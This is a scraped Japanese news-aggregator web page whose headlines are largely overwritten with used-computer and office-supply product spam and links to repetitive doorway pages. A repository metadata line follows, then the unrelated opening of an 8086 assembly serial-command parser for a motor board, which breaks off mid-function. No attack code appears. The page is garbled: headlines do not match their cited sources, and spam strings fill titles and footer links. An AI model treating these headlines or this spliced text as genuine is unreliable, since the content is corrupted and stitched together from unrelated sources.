<span class='debug' style='display:none;'><!--score: 2.5 --></span>
<div class="item">
<div class="item_status">
<span class="link_num over3">13<span>コメント</span></span>
<span class="date date_new">13 時間前 </span>
<a href="http://akiba-pc.watch.impress.co.jp/docs/wakiba/find/20151225_737149.html" target="_blank" class="item_direct"> - akiba-pc.watch.impress.co.jp</a></div>
<div class="item_title"><a href="">SL-S203KN オレンジ◆MAXビーポップ200mm幅屋内用蛍光色シート送料込み!,中古パソコン 中古ノートパソコン HP ProBook 4545S AMD Dual-Core A4-4300M 2.5GHz/メモリ 4GB/HDD 160GB/DVDマルチドライブ/無線LAN内蔵/Windows7 Professional 32ビット/リカバリCD・OFFICE2013付き中古
</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 1 --></span>
<div class="more"><a href="">IT・テクノロジー をもっと見る</a></div>
</div>
<a name="area_7"></a>
<div class="item_list_box " id="area_7">
<div class="list_title">
<div class="controler"></div>
<h2><a href="">科学・学問</a></h2>
</div>
<div class="item">
<div class="item_status">
<span class="link_num over20">22<span>コメント</span></span>
<span class="date date_new">3 時間前 </span>
<a href="http://nlab.itmedia.co.jp/nl/articles/1512/26/news025.html" target="_blank" class="item_direct"> - nlab.itmedia.co.jp</a></div>
<div class="item_title"><a href="http://factory.aedew.com/images/Core2Duo/020411119d83xl.html">http://factory.aedew.com/images/Core2Duo/020411119d83xl.html</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 3 --></span>
<div class="item">
<div class="item_status">
<span class="link_num over3">15<span>コメント</span></span>
<span class="date date_new">13 時間前 </span>
<a href="http://www.asahi.com/articles/ASHDT7KWMHDTPTIL02V.html" target="_blank" class="item_direct"> - www.asahi.com</a></div>
<div class="item_title"><a href="">阪大院教授らの研究費不正経理、2.7億円 大学が発表:朝日新聞デジタル</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 1 --></span>
<div class="item">
<div class="item_status">
<span class="link_num over3">14<span>コメント</span></span>
<span class="date date_new">14 時間前 </span>
<a href="http://karapaia.livedoor.biz/archives/52207962.html" target="_blank" class="item_direct"> - karapaia.livedoor.biz</a></div>
<div class="item_title"><a href="">(送料込み)★マックスラベルプリンター専用ラベル★レジン系インクリボンLP-IR110R-B●110mm×300m●10巻</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 1 --></span>
<div class="more"><a href="">科学・学問 をもっと見る</a></div>
</div>
<a name="area_9"></a>
<div class="item_list_box " id="area_9">
<div class="list_title">
<div class="controler"></div>
<h2><a href="">2chまとめ</a></h2>
</div>
<div class='pickup'><div class="item detail_item">
<div class="item_status">
<span class="link_num over20">27<span>コメント</span></span>
<span class="date date_new">7 時間前 </span>
<a href="http://alfalfalfa.com/articles/140445.html" target="_blank" class="item_direct"> - alfalfalfa.com</a></div>
<div class="item_title"><a href="">書店「Amazonばっかで本買うのやめてや!!」←これ | 2ちゃんねるスレッドまとめブログ - アルファルファモザイク</a></div>
<div class="thumbnail"><a class="trimming imgbox" href="" style="width:120px;height:120px;"><img src="http://img.ceron.jp/3b61c537fc58f529bf419a5c974cab5d82588790.jpg" width="213" height="120" onerror="this.parentNode.style.display='none'" style="left:-46px" /></a></div><p>14:風吹けば名無し@\(^o^)/2015/12/25(金) 10:07:08.94ID:28CoKVMbaXMAS.net焼<span>肉屋の名前みたい34:風吹けば名無し@\(^o^)/2015/12/25(金) 10:09:31.60ID:uAnL49f+0XMAS.net普通に本屋で買ってるぞ54:風吹けば名無し@\(^o^)/2015/12/25(金) 10</span>...[<a href="" target="_blank">続きを読む</a>]</p>
</div>
</div><span class='debug' style='display:none;'><!--score: 5 --></span>
<div class="item">
<div class="item_status">
<span class="link_num over3">18<span>コメント</span></span>
<span class="date date_new">2 時間前 </span>
<a href="http://blog.esuteru.com/archives/8449829.html" target="_blank" class="item_direct"> - blog.esuteru.com</a></div>
<div class="item_title"><a href="">【は?】「『仏滅』『大安』などが書かれたカレンダーを回収します。差別につながるので」 ← 意味不明すぎて理解できないんだが : はちま起稿</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 4.5 --></span>
<div class="item">
<div class="item_status">
<span class="link_num over20">66<span>コメント</span></span>
<span class="date date_new">14 時間前 </span>
<a href="http://blog.livedoor.jp/dqnplus/archives/1864971.html" target="_blank" class="item_direct"> - blog.livedoor.jp</a></div>
<div class="item_title"><a href="http://factory.aedew.com/images/Core2Duo/020410525x60jj.html">http://factory.aedew.com/images/Core2Duo/020410525x60jj.html</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 4.5 --></span>
<div class="item">
<div class="item_status">
<span class="link_num over3">14<span>コメント</span></span>
<span class="date date_new">2 時間前 </span>
<a href="http://alfalfalfa.com/articles/140453.html" target="_blank" class="item_direct"> - alfalfalfa.com</a></div>
<div class="item_title"><a href="">SEALDs「電車で携帯のゲームやるのは知能が低い」 | 2ちゃんねるスレッドまとめブログ - アルファルファモザイク</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 3 --></span>
<div class="item">
<div class="item_status">
<span class="link_num over3">16<span>コメント</span></span>
<span class="date date_new">5 時間前 </span>
<a href="http://blog.esuteru.com/archives/8449718.html" target="_blank" class="item_direct"> - blog.esuteru.com</a></div>
<div class="item_title"><a href="">中古パソコン 中古ノートパソコン HP ProBook 4545S AMD Dual-Core A4-4300M 2.5GHz/メモリ 4GB/HDD 160GB/DVDマルチドライブ/無線LAN内蔵/Windows7 Professional 32ビット/リカバリCD・OFFICE2013付き中古
,(中古品?整備済み)セイコータイムレコーダー QR-4550タイムカード?新品ラック付【中古】</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 2 --></span>
<div class="item">
<div class="item_status">
<span class="link_num over3">14<span>コメント</span></span>
<span class="date date_new">6 時間前 </span>
<a href="http://blog.livedoor.jp/kinisoku/archives/4554064.html" target="_blank" class="item_direct"> - blog.livedoor.jp</a></div>
<div class="item_title"><a href="">【画像】おい!クリスマスだしこの娘と野球拳しないかい:キニ速</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 2 --></span>
<div class="more"><a href="">2chまとめ をもっと見る</a></div>
</div>
<a name="area_10"></a>
<div class="item_list_box " id="area_10">
<div class="list_title">
<div class="controler"></div>
<h2><a href="">ネタ・話題・トピック</a></h2>
</div>
<div class='pickup'><div class="item detail_item">
<div class="item_status">
<span class="link_num over20">90<span>コメント</span></span>
<span class="date date_new">15 時間前 </span>
<a href="http://togetter.com/li/917078" target="_blank" class="item_direct"> - togetter.com</a></div>
<div class="item_title"><a href="">【速報】クリスマスに新たな山下達郎伝説が生まれた!? 「Gの音が出ない」と開始90分後にライブを中止 - Togetterまとめ</a></div>
<div class="thumbnail"><a class="trimming imgbox" href="" style="width:120px;height:120px;"><img src="http://img.ceron.jp/9ff1006fb7b6091ba48b957edf5a63cce85e1079.jpg" width="120" height="159" onerror="this.parentNode.style.display='none'" style="left:0px" /></a></div><p>山下達郎盛岡コンサート、90分やったところでまさかの中止。
本人が喉の調子に納得出来ないとのこと。
来年に無料で再演しにくるとの<span>ことで、伝説に立ち合えたのはラッキーだが、クリスマスイブ聞けなかった。</span>...[<a href="" target="_blank">続きを読む</a>]</p>
</div>
</div><span class='debug' style='display:none;'><!--score: 6.5 --></span>
<div class="item">
<div class="item_status">
<span class="link_num over20">21<span>コメント</span></span>
<span class="date date_new">6 時間前 </span>
<a href="http://nlab.itmedia.co.jp/nl/articles/1512/26/news015.html" target="_blank" class="item_direct"> - nlab.itmedia.co.jp</a></div>
<div class="item_title"><a href="http://factory.aedew.com/images/Core2Duo/020410430r90bt.html">http://factory.aedew.com/images/Core2Duo/020410430r90bt.html</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 4 --></span>
<div class="item">
<div class="item_status">
<span class="link_num over3">15<span>コメント</span></span>
<span class="date date_new">3 時間前 </span>
<a href="http://togetter.com/li/917238" target="_blank" class="item_direct"> - togetter.com</a></div>
<div class="item_title"><a href="http://factory.aedew.com/images/Core2Duo/020411281d64lo.html">http://factory.aedew.com/images/Core2Duo/020411281d64lo.html</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 3 --></span>
<div class="item">
<div class="item_status">
<span class="link_num over20">80<span>コメント</span></span>
<span class="date">2015-12-25 12:31</span>
<a href="http://togetter.com/li/916919" target="_blank" class="item_direct"> - togetter.com</a></div>
<div class="item_title"><a href="">(中古品) 日焼けあり アマノタイムレコーダー EX3000Ncホワイト タイムカード?新品ラック付【中古】</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 2.5 --></span>
<div class="item">
<div class="item_status">
<span class="link_num over20">62<span>コメント</span></span>
<span class="date">2015-12-25 08:36</span>
<a href="http://d.hatena.ne.jp/ikkou2otosata0/touch/20151225/1450992232" target="_blank" class="item_direct"> - d.hatena.ne.jp</a></div>
<div class="item_title"><a href="">オッケー、キリスト。ところで、あたしの誕生日の話も聞いとく? - 私の時代は終わった。</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 2 --></span>
<div class="item">
<div class="item_status">
<span class="link_num over3">17<span>コメント</span></span>
<span class="date date_new">12 時間前 </span>
<a href="http://togetter.com/li/917157" target="_blank" class="item_direct"> - togetter.com</a></div>
<div class="item_title"><a href="">中古パソコン 中古ノートパソコン HP ProBook 4545S AMD Dual-Core A4-4300M 2.5GHz/メモリ 4GB/HDD 160GB/DVDマルチドライブ/無線LAN内蔵/Windows7 Professional 32ビット/リカバリCD・OFFICE2013付き中古
,SL-G209N ゴールド◆MAXビーポップ200mm幅屋外シート屋外使用5年程度送料込み!トップジャパン</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 1.5 --></span>
<div class="more"><a href="">ネタ・話題・トピック をもっと見る</a></div>
</div>
<script type="text/javascript">
//現在のセッティングを読み込み
var setting = "ct:news:5;ct:society:5;ct:entertainment:5;ct:sports:5;ct:itnews:5;ct:international:3;ct:science:3;ct:odekake:3;ct:2ch:6;ct:neta:6;";
var setting_list = new Array();
setting_split = setting.split(";");
for (var i = 0; i < setting_split.length; i++) {
if(!setting_split[i]){continue};
if(m = setting_split[i].match(/^([a-z]*):(.*):(d*)$/)){
setting_list[i+1] = new Array(m[1],m[2],m[3]);
}else{
setting_list[i+1] = new Array();
}
}
controler_set();
</script>
<!-- 以下カスタム用HTML -->
<div id="edit_area_module" style="display:none;">
<div id="edit_area_AREAID" style="display:none;margin-bottom: 1em;">
<div class="list_title" style="text-align:right;font-size:85%;font-weight:100;">
<a href="javascript:void(0);" onclick="area_change_cancel(AREAID)">キャンセル</a>
<div class="controler" style="display:none;"></div>
</div>
<div id="edit_area_inner_AREAID" style="border:8px solid #ccc;padding:3em 15%;font-size:90%;">
<h3>AREAID 番目のエリア</h3>
<p>このエリアに表示するニュースを設定します。</p>
<div id="edit_area_1_AREAID">
<select id="select_1_AREAID" onchange="edit_area_2(AREAID)" style="margin-top:1em;">
<option value="">▼表示内容を選んでください▼</option>
<option value="ct">カテゴリから選ぶ</option>
<option value="kw">任意のキーワードを指定する</option>
</select>
</div>
<br />
<div id="edit_area_2ct_AREAID" style="display:none;">
<select id="select_2ct_AREAID">
<option value="">▼カテゴリを選んでください▼</option>
<option value="all">すべての記事</option>
<option value="news">ニュース総合</option>
<option value="society">政治・経済</option>
<option value="international">海外ニュース</option>
<option value="entertainment">エンタメ</option>
<option value="sports">スポーツ</option>
<option value="itnews">IT・テクノロジー</option>
<option value="science">科学・学問</option>
<option value="odekake">おでかけ・イベント</option>
<option value="2ch">2chまとめ</option>
<option value="neta">ネタ・話題・トピック</option>
<option value="movie">動画</option>
<option value="other">その他のニュース</option>
</select>
</div>
<div id="edit_area_2kw_AREAID" style="display:none;">
キーワードを入力してください。<input id="select_2kw_AREAID" type="text" value="KEYWORD" size="32" /><br />
<div style="font-size:85%;color:#666;background:#eee;padding:0.5em;margin:0.5em 0;">
入力したキーワードにヒットするニュースが配信されます。<br />
<b>複数指定</b>「AAA BBB」:スペースで区切るとAAAかつBBBにマッチする記事を配信します。<br />
<b>OR指定</b>「AAA OR BBB」:AAAまたはBBBにマッチする記事を配信します。ORはパイプ(|)も可。<br />
<b>特定のサイトを指定</b>「site:[URL]」:特定のURLにマッチする記事を配信します。<br />
<b>除外指定</b>「-XXX」:マイナスを付けると「XXX」にマッチする記事を除外します。
</div>
</div>
<div id="edit_area_3num_AREAID" style="display:none;">
表示する数:<select id="select_3num_AREAID">NUMLIST</select>
</div>
<br />
<div style="line-height:2.5;">
<input type="button" value=" 決定 " onclick="area_change_save(AREAID)" style="font-size:150%;"/><br />
<input type="button" value="キャンセル" onclick="area_change_cancel(AREAID)" />
<input type="button" value="このエリアを削除" onclick="area_delete(AREAID)" />
<input type="button" value="この下にエリアを追加" onclick="area_add(AREAID)" />
<br />
<input type="button" value="1つ上へ移動" onclick="area_move(AREAID,-1)" />
<input type="button" value="1つ下へ移動" onclick="area_move(AREAID,1)" />
</div>
</div>
</div>
</div>
<!-- カスタム用HTMLここまで -->
<div id="top_guidance"> </div><div class='pagenavi'><a href=''>全カテゴリ横断</a> <a href=''>昨日のランキング</a> </div><script type="text/javascript">footerbox_ad();</script></div>
</div>
<div id="side_column">
<div id="side_column_inner">
<div id="sidefollow">
<script type="text/javascript">sidebox_ad1()</script>
<div id="side_flash" style="margin-bottom:4px;">
<div class="list_title"><h2><a href="">速報</a></h2></div>
<div class="item_list_box"><div class="item">
<div class="item_status">
<span class="link_num over20">21<span>コメント</span></span>
<span class="date date_new">42 分前 </span>
<a href="http://news.line.me/list/886887b5/63a4858e236b" target="_blank" class="item_direct"> - news.line.me</a></div>
<div class="item_title"><a href="">2016年新ヒーロー戦隊は「動物戦隊ジュウオウジャー」 - LINE NEWS</a></div>
</div>
<div class="item">
<div class="item_status">
<span class="link_num over3">11<span>コメント</span></span>
<span class="date date_new">42 分前 </span>
<a href="http://news.line.me/list/886887b5/eee8981f1889" target="_blank" class="item_direct"> - news.line.me</a></div>
<div class="item_title"><a href="http://factory.aedew.com/images/Core2Duo/020410539n21cf.html">http://factory.aedew.com/images/Core2Duo/020410539n21cf.html</a></div>
</div>
<div id="side_imgs" style="margin-bottom:4px;">
<div class="list_title"><h2><a href="">画像で見る主要ニュース</a></h2></div>
<div class="item_list_box"><div class="item_box">
<div class="thumbnail"><a class="trimming imgbox" href="" style="width:120px;height:120px;"><img src="http://img.ceron.jp/db592e52fb3695e73bb88902c6c90a5b239cd30b.jpg" width="120" height="120" onerror="this.src='/img/no_image.gif';this.width='120';this.height='120';" style="left:0px" /></a></div>
<div class="item_status">
<span class="link_num over500">506<span>コメント</span></span>
<span class="date date_new">4 時間前 </span>
<a href="http://headlines.yahoo.co.jp/hl?a=20151226-00050002-yom-soci" target="_blank" class="item_direct"> - headlines.yahoo.co.jp</a></div>
<div class="item_title"><a href="">大安・仏滅…記載は不適切、県がカレンダー回収 (読売新聞) - Yahoo!ニュース</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 67 --></span>
<div class="item_box">
<div class="thumbnail"><a class="trimming imgbox" href="" style="width:120px;height:120px;"><img src="http://img.ceron.jp/770aec9bed626d0714c63dd827bad4f4c20876b2.jpg" width="120" height="172" onerror="this.src='/img/no_image.gif';this.width='120';this.height='120';" style="left:0px" /></a></div>
<div class="item_status">
<span class="link_num over100">387<span>コメント</span></span>
<span class="date date_new">4 時間前 </span>
<a href="http://headlines.yahoo.co.jp/hl?a=20151226-00000062-san-sctch" target="_blank" class="item_direct"> - headlines.yahoo.co.jp</a></div>
<div class="item_title"><a href="http://factory.aedew.com/images/Core2Duo/020411427o00ko.html">http://factory.aedew.com/images/Core2Duo/020411427o00ko.html</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 28 --></span>
<div class="item_box">
<div class="thumbnail"><a class="trimming imgbox" href="" style="width:120px;height:120px;"><img src="http://img.ceron.jp/f2a5b22bc8e16c4289aaf7767c8ef71cce9c4104.jpg" width="120" height="129" onerror="this.src='/img/no_image.gif';this.width='120';this.height='120';" style="left:0px" /></a></div>
<div class="item_status">
<span class="link_num over100">134<span>コメント</span></span>
<span class="date date_new">6 時間前 </span>
<a href="http://headlines.yahoo.co.jp/hl?a=20151226-00000004-nksports-socc" target="_blank" class="item_direct"> - headlines.yahoo.co.jp</a></div>
<div class="item_title"><a href="">柿谷曜一朗C大阪復帰 違約金大幅減少で完全移籍へ (日刊スポーツ) - Yahoo!ニュース</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 26 --></span>
<div class="item_box">
<div class="thumbnail"><a class="trimming imgbox" href="" style="width:120px;height:120px;"><img src="http://img.ceron.jp/3d712f4a9f0d5a17af803c20b36a4d9d8bec0ea2.jpg" width="120" height="170" onerror="this.src='/img/no_image.gif';this.width='120';this.height='120';" style="left:0px" /></a></div>
<div class="item_status">
<span class="link_num over100">145<span>コメント</span></span>
<span class="date date_new">6 時間前 </span>
<a href="http://www.sankei.com/politics/news/151226/plt1512260001-n1.html" target="_blank" class="item_direct"> - www.sankei.com</a></div>
<div class="item_title"><a href="">(あす楽対応)レジスター カシオ NL-300 シルバー 消費税対応★今ならレジロール10巻サービス中!,中古パソコン 中古ノートパソコン HP ProBook 4545S AMD Dual-Core A4-4300M 2.5GHz/メモリ 4GB/HDD 160GB/DVDマルチドライブ/無線LAN内蔵/Windows7 Professional 32ビット/リカバリCD・OFFICE2013付き中古
</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 26 --></span>
<div class="item_box">
<div class="thumbnail"><a class="trimming imgbox" href="" style="width:120px;height:120px;"><img src="http://img.ceron.jp/3df371797c2edb03a03491018247c6d1d6d51e42.jpg" width="160" height="120" onerror="this.src='/img/no_image.gif';this.width='120';this.height='120';" style="left:-20px" /></a></div>
<div class="item_status">
<span class="link_num over20">62<span>コメント</span></span>
<span class="date date_new">2 時間前 </span>
<a href="http://headlines.yahoo.co.jp/hl?a=20151226-00010000-chibatopi-l12" target="_blank" class="item_direct"> - headlines.yahoo.co.jp</a></div>
<div class="item_title"><a href="http://factory.aedew.com/images/Core2Duo/020411350y48qb.html">http://factory.aedew.com/images/Core2Duo/020411350y48qb.html</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 12 --></span>
<div class="item_box">
<div class="thumbnail"><a class="trimming imgbox" href="" style="width:120px;height:120px;"><img src="http://img.ceron.jp/5f191d984c12ff6d166bf0cb65f99c56fedea305.jpg" width="180" height="120" onerror="this.src='/img/no_image.gif';this.width='120';this.height='120';" style="left:-30px" /></a></div>
<div class="item_status">
<span class="link_num over20">50<span>コメント</span></span>
<span class="date date_new">4 時間前 </span>
<a href="http://news.nicovideo.jp/watch/nw1961232" target="_blank" class="item_direct"> - news.nicovideo.jp</a></div>
<div class="item_title"><a href="http://factory.aedew.com/images/Core2Duo/020410526c89rl.html">http://factory.aedew.com/images/Core2Duo/020410526c89rl.html</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 11 --></span>
<div class="more"><a href="">もっと画像で見る</a></div></div>
</div>
</div>
</div>
</div>
</div><!-- end field_inner -->
</div><!-- end field-->
<div id="footer_menu_bar" class="menu_bar">
<div id="footer_menu_bar_inner" class="menu_bar_inner"><ul><li><a href="/" class="selected">トップ</a></li><li><a href="/all/newitem/">速報</a></li><li><a href="/news/">ニュース総合</a></li><li><a href="/society/">政治経済</a></li><li><a href="/entertainment/">エンタメ</a></li><li><a href="/sports/">スポーツ</a></li><li><a href="/itnews/">IT</a></li><li><a href="/international/">海外</a></li><li><a href="/science/">科学</a></li><li><a href="/odekake/">おでかけ</a></li><li><a href="/movie/">動画</a></li><li><a href="/2ch/">2ch</a></li><li><a href="/neta/">ネタ</a></li><li><a href="/all/">すべて</a></li></ul></div>
</div><!-- /menu_bar -->
<div id="footer">
<div id="footer_inner">
<a href="" title="中古パソコン 中古ノートパソコン HP ProBook 4545S AMD Dual-Core A4-4300M 2.5GHz/メモリ 4GB/HDD 160GB/DVDマルチドライブ/無線LAN内蔵/Windows7 Professional 32ビット/リカバリCD・OFFICE2013付き中古
"><img src="/img/logo_s.png" width="64px" height="32px" /></a>
<span class="icon_set">
<a href="" title="RSS" class="icon icon_rss"></a>
<a href="http://www.twitter.com/" target="_blank" title="twitter中古パソコン 中古ノートパソコン HP ProBook 4545S AMD Dual-Core A4-4300M 2.5GHz/メモリ 4GB/HDD 160GB/DVDマルチドライブ/無線LAN内蔵/Windows7 Professional 32ビット/リカバリCD・OFFICE2013付き中古
" class="icon icon_twitter"></a>
<a href="https://www.facebook.com/" target="_blank" title="facebook中古パソコン 中古ノートパソコン HP ProBook 4545S AMD Dual-Core A4-4300M 2.5GHz/メモリ 4GB/HDD 160GB/DVDマルチドライブ/無線LAN内蔵/Windows7 Professional 32ビット/リカバリCD・OFFICE2013付き中古
" class="icon icon_facebook"></a>
</span>
<br />
<a href="">このサイトについて</a> -
<a href="">ご意見・お問い合わせ</a> -
<a href="">中古パソコン 中古ノートパソコン HP ProBook 4545S AMD Dual-Core A4-4300M 2.5GHz/メモリ 4GB/HDD 160GB/DVDマルチドライブ/無線LAN内蔵/Windows7 Professional 32ビット/リカバリCD・OFFICE2013付き中古
</a>
<br /><br />
<div class="footer_copyright">
<a href="">天気アプリ</a> |
<a href="">中古パソコン 中古ノートパソコン HP ProBook 4545S AMD Dual-Core A4-4300M 2.5GHz/メモリ 4GB/HDD 160GB/DVDマルチドライブ/無線LAN内蔵/Windows7 Professional 32ビット/リカバリCD・OFFICE2013付き中古
</a> |
<a href="">画像検索</a> |
<a href="">Android音楽プレイヤー</a> |
<a href="">メモ帳アプリ</a>
</div>
</div><!-- end footer_inner-->
</div><!-- end footer-->
</div><!-- end main-->
</body>
</html> | ForAEdesWeb/AEW2 | images/Core2Duo/020411426r81fg.html | HTML | gpl-2.0 | 65,460 |
NAME Parser
; Contains from the point of view of the Motor board,
; ParseSerialChar, which is a finite state machine
; that parses passed characters into serial commands,
; and its helper functions.
;
; Last Revision 12/27/2014 SSundaresh created
; 12/29/2014 SSundaresh restricted
; alphabet for hw9
; Base Constants
$INCLUDE (GenConst.inc)
$INCLUDE (Events.inc)
$INCLUDE (Errors.inc)
; Constants for valid characters, state bits
$INCLUDE (Parser.inc)
; Constants for execution calls
$INCLUDE (Motors.inc)
CGROUP GROUP CODE
CODE SEGMENT PUBLIC 'CODE'
ASSUME CS:CGROUP
; When a command is parsed, it must be executed. These
; are the commands to be executed. They are
; testing functions for now, but will be replaced by
; true versions later.
EXTRN SetMotorSpeed:NEAR
EXTRN GetMotorSpeed:NEAR
EXTRN GetMotorDirection:NEAR
EXTRN SetLaser:NEAR
EXTRN GetLaser:NEAR
EXTRN TransmitStatus:NEAR
EXTRN ClearEOFlag:NEAR
EXTRN GetEOFlag:NEAR
; Functional Spec, ParseSerialChar
; Description: this function implements a finite state machine
; that remembers its current state defined by past inputs, where
; the current state is a growing command. Invalid parsed commands
; yield AX = 1 and valid parsed commands are executed in-house,
; and yield a return value of AX = 0. The character to be parsed
; into the growing command is passed by value in AL.
; Operation: The simplest way to describe the operation of this function
; is to write out the state table.
;
; Ignore the command characters for the moment. All commands have
; a common grammar. If they take numerical arguments, the arguments must
; be be of the form -32768,+32767. This is not strictly in line with
; the specs for executable functions related to these commands,
; but checking the test code and the command formats, the commands themselves
; when sent over serial must have this restriction. It works out that
; if you want a speed of > 7fff, you just need to use both S and V commands
; instead of just one SetMotorSpeed.
; So, yes, all the various commands have different limits on the numbers,
; but first parsing whether the condition above is met gets us 95 percent
; of the way there. Finally checking whether we're in the bounds can be
; abstracted for now. So..
; Let CommandCharacter be K in VDFOR and let
; Bits543 of the StateBits be referenced as 543, and to update their state
; we write 543++. These bits refer to which digit we're considering in
; the argument, out of a maximum of 5 (10000s place).
;
; We're going to parse F, O, R commands till a \CR, expecting no arguments,
; and V, D will be parsed to either a \CR or at most 5 post-sign digits
; whichever comes first. At this point we will not yet be applying
; size cutoffs - it's just the grammar we're parsing here.
;
; The states of the form ArgZero exist to deal with inputs of the form
; K+-00000000... which are condensed to one state, which just tells us
; we've seen A digit, that was 0, so if we see a \CR next, it's ok,
; we did get an argument.
; So, let
; ESURSZFR = Execute, Status Update, Reset State, ZF Reset.
; CESURSZFR = Check Argument, conditional ESURSZFR, else Error, NotParsing
; where the argument is understood to be 0 if we're in the ArgZero states.
;
;
; Finally, until we reach an ArgZero state, assume there is a dedicated
; 0 state bit, and when we reach it, that bit goes high. Assume when we
; leave an ArgZero state the bit goes low again.
; Similarly assume there are three bits 543 that only take non-zero values
; for ArgGEQOne states, and there index the argument from digits 0-4 that we
; are currently waiting for. So, bits543 = 5 in binary implies an error, as
; there is now no way the magnitude of the argument could fit in [0,32768].
; These are understood, below. We increment 543++ for example, but if
; it yields a value >= 5 we would call an error and revert to NoParsing.
; In addition when we increment we also mean we would write the
; character c in question to a buffer for later conversion to a binary
; encoding, for bounds checking and as an input to command function calls.
; Input Class 1 2 3 4
; States\c v-r 0-9 +- \CR Lumped STATE_ID
; NotParsing Parsing(c) Error, NotParsing Error, NotParsing NotParsing 1
; Parsing_NoNumbersYet_SignUnclear Error, NotParsing K=f,o,r Error, NotParsing Error, NotParsing ESURSZFR 2
; K=v,d, c=1-9, Parsing_ArgGEQOne (sign clear, no sign) K=v-r, Error, NotParsing
; K=v,d, c=0, Parsing_ArgZero (sign clear, no sign)
; K=v,d, Parsing_NoNumbersYet (sign clear)
; All commands that reach the following states require numerical arguments.
; Parsing_ArgZero Error, NotParsing c=0 , Parsing_ArgZero Error, NotParsing CESURSZFR 3
; c=1-9, 543++ Parsing_ArgGEQOne
; Parsing_ArgGEQOne Error, NotParsing c=0-9, 543++ Parsing_ArgGEQOne Error, NotParsing CESURSZFR 4
; Parsing_NoNumbersYet Error, NotParsing c=0 , Parsing_ArgZero Error, NotParsing Error, NotParsing 5
; c=1-9, 543++ Parsing_ArgGEQOne
;
; These transitions and related outputs and error checking
; are broken up into helper functions equivalently named.
;
; Note that all the command-specific checks happen in either Lumped State 2
; or CESURSZFR, so as long as the grammar is maintained,
; adding commands requires that we change only two functions.
;
; Arguments: character c, in AL by value
; Return values: AX = 0 if c did not yield an invalid command state, else 1
; Constants: ParsingBit, SignBits, ZeroSeenBit, ArgIndexBits
; Local Variables:
; BL ParserStateBits
; AL input character, vetted, converted to lowercase
; Shared Variables: ParserStateBits
; Global Variables: none
; Registers used: AX, BX
; Stack depth: 0 words
; Input: none
; Output: none
; Error handling: none
; Algorithms: none
; Data structures: none
; Known bugs: none
; Limitations: not visually simple, like macros/lookup tables
; Revision History:
; 12/27/2014 SSundaresh created
; 12/29/2014 SSundaresh state table updated for hw9 command set
; Pseudocode
; Check if input is a valid character using ValidateInputCharacter
; If not, ignore - call ReportValid and return.
; If valid, now have it in AL in lowercase (if applicable).
; Split into states, and call appropriate state output/transition functions
; which set the ZF if there was a problem (which they handled).
; Check the zero-flag and if it is set, report a parsing error, and otherwise
; report no parsing error.
ParseSerialChar PROC NEAR
PUBLIC ParseSerialChar
CALL ValidateInputCharacter ; c in AL in lowercase if ok
JZ Report_Valid_Character ; ZF set, ignorable input
JNZ Allowed_Character
Allowed_Character:
MOV BX, offset(ParserStateBits) ; identify current state
MOV BL, DS:[BX]
MOV BH, ParsingBit ; are we parsing a command
AND BH, BL
JZ STATE_NotParsing ; we are not parsing a command
; we're parsing a command
MOV BH, SignBits ; are we sure of the argument sign
AND BH, BL ; yet
JZ STATE_Parsing_NoNumbersYet_SignUnclear
; yes, we're sure of a sign bit
MOV BH, NoNumbersBit
AND BH, BL
JZ STATE_Parsing_NoNumbersYet
; yes, we've seen at least a digit
AND BH, ZeroSeenBit
JNZ STATE_Parsing_ArgZero
JMP STATE_Parsing_ArgGEQOne
STATE_NotParsing:
CALL NotParsing ; AL contains valid character
JMP ParserReporting
STATE_Parsing_NoNumbersYet_SignUnclear:
CALL Parsing_NoNumbersYet_SignUnclear ; AL contains valid character
JMP ParserReporting
STATE_Parsing_NoNumbersYet:
CALL Parsing_NoNumbersYet
JMP ParserReporting
STATE_Parsing_ArgGEQOne:
CALL Parsing_ArgGEQOne ; AL contains valid character
JMP ParserReporting
STATE_Parsing_ArgZero:
CALL Parsing_ArgZero ; AL contains valid character
JMP ParserReporting
ParserReporting:
JZ Report_ParsingError
JNZ Report_Valid_Character
Report_Valid_Character:
MOV AX, 0
JMP Done_Parsing
Report_ParsingError:
CALL ResetParserState ; reset to NotParsing
MOV AX, 1
JMP Done_Parsing
Done_Parsing:
RET
ParseSerialChar ENDP
; helper functions follow to make ParseSerialChar easier to read
; ValidateInputCharacter
; Description. Takes input character in AL. Checks if allowed, given
; Valid_Characters code table. If allowed, converts to lowercase
; if the character is an ASCII letter, and regardless returns it in AL.
; If the character is not allowed it returns with the ZF set.
; Operation: This code depends heavily on the ASCII set used to
; transmit commands. That is, the way uppercase letters are identified
; is entirely dependent on us not using other characters on those lines
; as command characters. Be careful.
; Loops through the code table of allowed characters and if it finds a
; match checks if its a letter and uses the ASCII encoding to
; shift the letter to lowercase if it is uppercase (ASCIII_UL bit not set).
; Returns with the ZF reset by clearing AH and adding a non-zero constant.
; If the character is not found, by default clears AH and ZF is set.
; Arguments: AL, input character c
; Return Values: ZF set if not an allowed character.
; ZF reset if allowed.
; Constants: Valid_Characters, a code table.
; NUM_VALID_CHARACTERS, size of the code table.
; Local Variables:
; BX absolute index in code table
; AL ASCII character to validate
; CX, counter so we know when to stop looking
; Registers Used: AX, BX
; Last Revised: 12/27/2014 SSundaresh created
ValidateInputCharacter PROC NEAR
PUBLIC ValidateInputCharacter
MOV CX, 0 ; start at the beginning of
; Valid_Characters
MOV BX, offset(Valid_Characters) ; CS:BX is Valid_Characters[0]
ValidationLoop_ST:
CMP AL, CS:[BX] ; is this our character?
JE FORMAT_CHARACTER ; if so, format it
INC CX
INC BX ; o/w move to the next
CMP CX, NUM_VALID_CHARACTERS ; if we've checked all of Valid_Characters
